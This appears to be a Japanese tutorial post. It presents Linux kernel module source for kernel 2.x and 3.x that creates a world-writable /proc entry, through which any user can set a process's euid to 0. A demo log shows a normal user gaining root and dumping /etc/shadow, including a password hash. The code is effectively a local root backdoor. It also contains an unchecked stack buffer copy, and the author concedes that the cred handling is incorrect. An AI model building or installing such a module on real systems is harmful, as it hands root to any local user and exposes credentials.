task_structのeuidを書き換えてrootになる
task構造体のeuidを直接書き換えて、root権限を設定するサンプルです。
サンプルではprocess->cred->euid=0としていますが、__task_cred(process)の返り値は const struct task_struct *と定義されていて、返値のポインターで更新することはできません。競合の問題もありますが、直接変更するとそれをリストしている他のプロセスの権限も変更してしまうことになります。そのためstruct task_struct *とキャストしていますが。これは正しくありません。本来は、新たにcredを割り当て、それを更新し、task構造体に接続されているrcuリストとしてノードを差し替えることで実装しなければなりません。
kernel 2
#include <linux/kernel.h> #include <linux/sched.h> #include <linux/module.h> #include <linux/proc_fs.h> #include <asm/uaccess.h> #define PROC_NAME "hogehoge" static size_t proc_write( struct file *filp, const char __user *buff, unsigned long len, void *data ); static struct proc_dir_entry *dirp; static void chg_euid(struct task_struct *process); static int proc_init_module(void) { dirp = (struct proc_dir_entry *) create_proc_entry(PROC_NAME, 0666, (struct proc_dir_entry *) 0); if (dirp == 0) return(-EINVAL); dirp->write_proc = (write_proc_t *) proc_write; return 0; } static void proc_cleanup_module(void) { remove_proc_entry(PROC_NAME, (struct proc_dir_entry *) 0); } static size_t proc_write( struct file *filp, const char __user *buff, unsigned long len, void *data ) { char _buff[64]; if (copy_from_user(_buff, buff, len )) { return -EFAULT; } int mypid = (int)simple_strtol(_buff, NULL, 0); struct task_struct *process; process = find_task_by_vpid(mypid); if (process) { chg_euid(process); } else { printk("pid error:%d\n", mypid); return -EFAULT; } return len; } static void chg_euid(struct task_struct *process) { process->euid = 0; } module_init(proc_init_module); module_exit(proc_cleanup_module);
kernel 3
#include <linux/kernel.h> #include <linux/sched.h> #include <linux/module.h> #include <linux/proc_fs.h> #include <asm/uaccess.h> MODULE_LICENSE("GPL"); #define PROC_NAME "hogehoge" static size_t proc_write( struct file *filp, const char __user *buff, unsigned long len, void *data ); static struct proc_dir_entry *dirp; static void chg_euid(struct task_struct *process); static int proc_init_module(void) { dirp = (struct proc_dir_entry *) create_proc_entry(PROC_NAME, 0666, (struct proc_dir_entry *) 0); if (dirp == 0) return(-EINVAL); dirp->write_proc = (write_proc_t *) proc_write; return 0; } static void proc_cleanup_module(void) { remove_proc_entry(PROC_NAME, (struct proc_dir_entry *) 0); } static size_t proc_write( struct file *filp, const char __user *buff, unsigned long len, void *data ) { char _buff[64]; int pidno; struct pid *my_pid; struct task_struct *process; if (_copy_from_user(_buff, buff, len)) { return -EFAULT; } pidno = (int)simple_strtol(_buff, NULL, 0); my_pid = find_get_pid(pidno); process = get_pid_task(my_pid, PIDTYPE_PID); if (process) { chg_euid(process); } return len; } static void chg_euid(struct task_struct *process) { struct cred *c; c = (struct cred *)__task_cred(process); printk("%s:%d\n", process->comm, c->euid); c->euid = 0; } module_init(proc_init_module); module_exit(proc_cleanup_module);
動作確認
[kitamura@localhost lkm]# insmod sample.ko [kitamura@localhost lkm]# su kitamura [kitamura@localhost lkm]$ cat /etc/shadow cat: /etc/shadow: 許可がありません [kitamura@localhost lkm]$ ps PID TTY TIME CMD 11786 pts/0 00:00:00 bash 11806 pts/0 00:00:00 ps [kitamura@localhost lkm]$ echo 11786 > /proc/hogehoge [kitamura@localhost lkm]$ dmesg : [29493.018034] pcnet32 0000:02:01.0: eth0: link down [29505.004610] pcnet32 0000:02:01.0: eth0: link up [29522.009885] pcnet32 0000:02:01.0: eth0: link down [29534.005087] pcnet32 0000:02:01.0: eth0: link up [31874.759000] bash:1000 [kitamura@localhost lkm]$ cat /etc/shadow : root:$$8l4a.5Bm$tuixsbkdSwvmtMq6BV40:14522:0:99999:7::: bin:*:14498:0:99999:7::: daemon:*:14498:0:99999:7::: [kitamura@localhost lkm]$ dmesg : [29493.018034] pcnet32 0000:02:01.0: eth0: link down [29505.004610] pcnet32 0000:02:01.0: eth0: link up [29522.009885] pcnet32 0000:02:01.0: eth0: link down [29534.005087] pcnet32 0000:02:01.0: eth0: link up [31874.759000] bash:1000kernel2では、process->euid=0としていますが、kernel3ではprocess->cred->euid=0としています。kernel3では、euid/uid/gid等の実態は、struct credに配置して、task構造体から切り離し、リスト接続しています。こうする事で、do_fork()の子プロセスは、task構造体は親のコピーで、新規にアロケートは子プロセスを作成の負荷を軽減できるわけです。しかも頻度にこの内容を変更することもありません。
サンプルではprocess->cred->euid=0としていますが、__task_cred(process)の返り値は const struct task_struct *と定義されていて、返値のポインターで更新することはできません。競合の問題もありますが、直接変更するとそれをリストしている他のプロセスの権限も変更してしまうことになります。そのためstruct task_struct *とキャストしていますが。これは正しくありません。本来は、新たにcredを割り当て、それを更新し、task構造体に接続されているrcuリストとしてノードを差し替えることで実装しなければなりません。